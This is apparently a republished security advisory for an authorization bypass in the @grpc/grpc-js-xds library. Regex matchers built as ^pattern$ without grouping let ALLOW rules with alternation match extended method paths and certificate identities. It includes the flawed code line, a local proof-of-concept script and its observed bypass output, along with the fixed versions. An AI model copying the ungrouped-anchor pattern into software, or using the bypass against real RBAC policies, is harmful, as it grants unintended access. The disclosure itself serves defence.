@GRPC/GRPC-JS-XDS · CVE-2026-126367 · Package
FIX → 1.14.2 +1
The @grpc/grpc-js-xds library builds regex matchers as ^pattern$ without grouping, so an alternation like a|b matches any value that starts with a or ends with b. An ALLOW rule written with alternation can therefore grant access to method paths, certificate identities or header values that extend an intended one.
first public Nov 12, 2026 · 1 source
Check it with your coding agent
It reads this page and tells you if your code or app is affected.
Services that use @grpc/grpc-js-xds with safe_regex matchers containing alternation for route selection, xDS credential SAN matching, or RBAC rules (url_path, principal_name, requested_server_name, header rules). DENY policies only become broader, so the exposure is on ALLOW rules written with alternation.
Not affected if default-config, no-safe-regex-alternation
Who cares grpc, grpc-js-xds, node, rbac, xds
safe_regex matchers that contain |.npm ls @grpc/grpc-js-xds; versions >= 1.14.0, < 1.14.2 and < 1.13.2 are affected.The StringMatcher/PathMatcher for safe_regex builds its RE2 as ^${regex}$ with no surrounding group. Because alternation has the lowest precedence, a pattern "a|b|c" compiles to /^a|b|c$/ -- "starts with a" OR "contains b" OR "ends with c" instead of a full match of the whole value. Configurations with safe_regex matchers that use a regex alternation (a natural way to list methods or service identities) therefore apply partial string matches. This impacts route selection, xDS credentials, and RBAC.
src/matcher.ts: SafeRegexValueMatcher and PathSafeRegexValueMatcher both do
this.targetRegexImpl = new RE2(`^${targetRegex}$`, 'u');
Are you affected?
Ask from here. InfraStack checks the affected versions against your stack and answers in your inbox.
InfraStack checks the affected versions against your stack and answers in Slack, with the evidence and the fix.
InfraStack checks it against your stack and answers on your report, with the evidence and the fix.
Upgrade to 1.14.2 +1
@grpc/grpc-js-xds 1.14.2 for the 1.14 line@grpc/grpc-js-xds 1.13.2 for the 1.13 lineand apply() returns targetRegexImpl.test(value). With a top-level alternation the anchors bind only to the first/last branch.
src/route.ts (getPredicateForStringMatcher / getPredicateForHeaderMatcher) builds these for every safe_regex StringMatcher/HeaderMatcher, and src/rbac.ts uses them for RBAC url_path permissions/principals, authenticated.principal_name (mTLS SAN/CN), requested_server_name and header rules. So an ALLOW rule written with an alternation grants access to method names, certificate identities or header values that extend an intended one. DENY policies only become broader (fail-safe).
In a scratch directory:
npm init -y
npm i @grpc/grpc-js-xds@1.14.1 @grpc/grpc-js
node poc.cjs
poc.cjs calls the exported RBAC engine directly (the functions grpc-js uses to make the authorization decision); no server or network:
const { parseConfig } = require('@grpc/grpc-js-xds/build/src/rbac.js')
const { SafeRegexValueMatcher } = require('@grpc/grpc-js-xds/build/src/matcher.js')
const { Metadata } = require('@grpc/grpc-js')
console.log(new SafeRegexValueMatcher('admin|editor').toString()) // SafeRegex(/^admin|editor$/u)
const sr = regex => ({ match_pattern: 'safe_regex', safe_regex: { regex } })
const info = urlPath => ({ urlPath, headers: new Metadata(), tls: true, peerCertificate: null,
destinationIp: '10.0.0.1', destinationPort: 443, sourceIp: '10.0.0.2' })
const g = parseConfig({ action: 'ALLOW', policies: { p: {
permissions: [{ rule: 'url_path', url_path: { path: sr('/acme.Users/GetUser|/acme.Users/ListUsers') } }],
principals: [{ identifier: 'any', any: true }] } } })
console.log('GetUser ', g.apply(info('/acme.Users/GetUser'))) // true (intended)
console.log('DeleteUser ', g.apply(info('/acme.Users/DeleteUser'))) // false (control)
console.log('GetUserSecrets', g.apply(info('/acme.Users/GetUserSecrets'))) // true <-- BYPASS
Observed (grpc-js-xds 1.14.1, grpc-js 1.14.6):
matcher "admin|editor" -> SafeRegex(/^admin|editor$/u);
apply("administrator")=true, apply("not-an-editor")=true
ALLOW url_path /acme.Users/GetUser|/acme.Users/ListUsers:
/acme.Users/GetUser -> ALLOWED (intended)
/acme.Users/DeleteUser -> denied (control)
/acme.Users/GetUserSecrets -> ALLOWED <-- bypass (policy intends deny)
control, same regex as (?:...|...): /acme.Users/GetUserSecrets -> denied
ALLOW authenticated principal_name spiffe://prod/ns/web/sa/frontend|...ops/sa/admin:
spiffe://prod/ns/web/sa/frontend-batch -> ALLOWED <-- bypass
Users of @grpc/grpc-js-xds who are using safe_regex matchers with alternation for route selection, xDS credentials SAN matchers, or RBAC rules may see incorrectly permissive behavior.
This page as .md · .json · CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
GitHub Advisory Database, CC-BY 4.0. Posts quoted belong to their authors.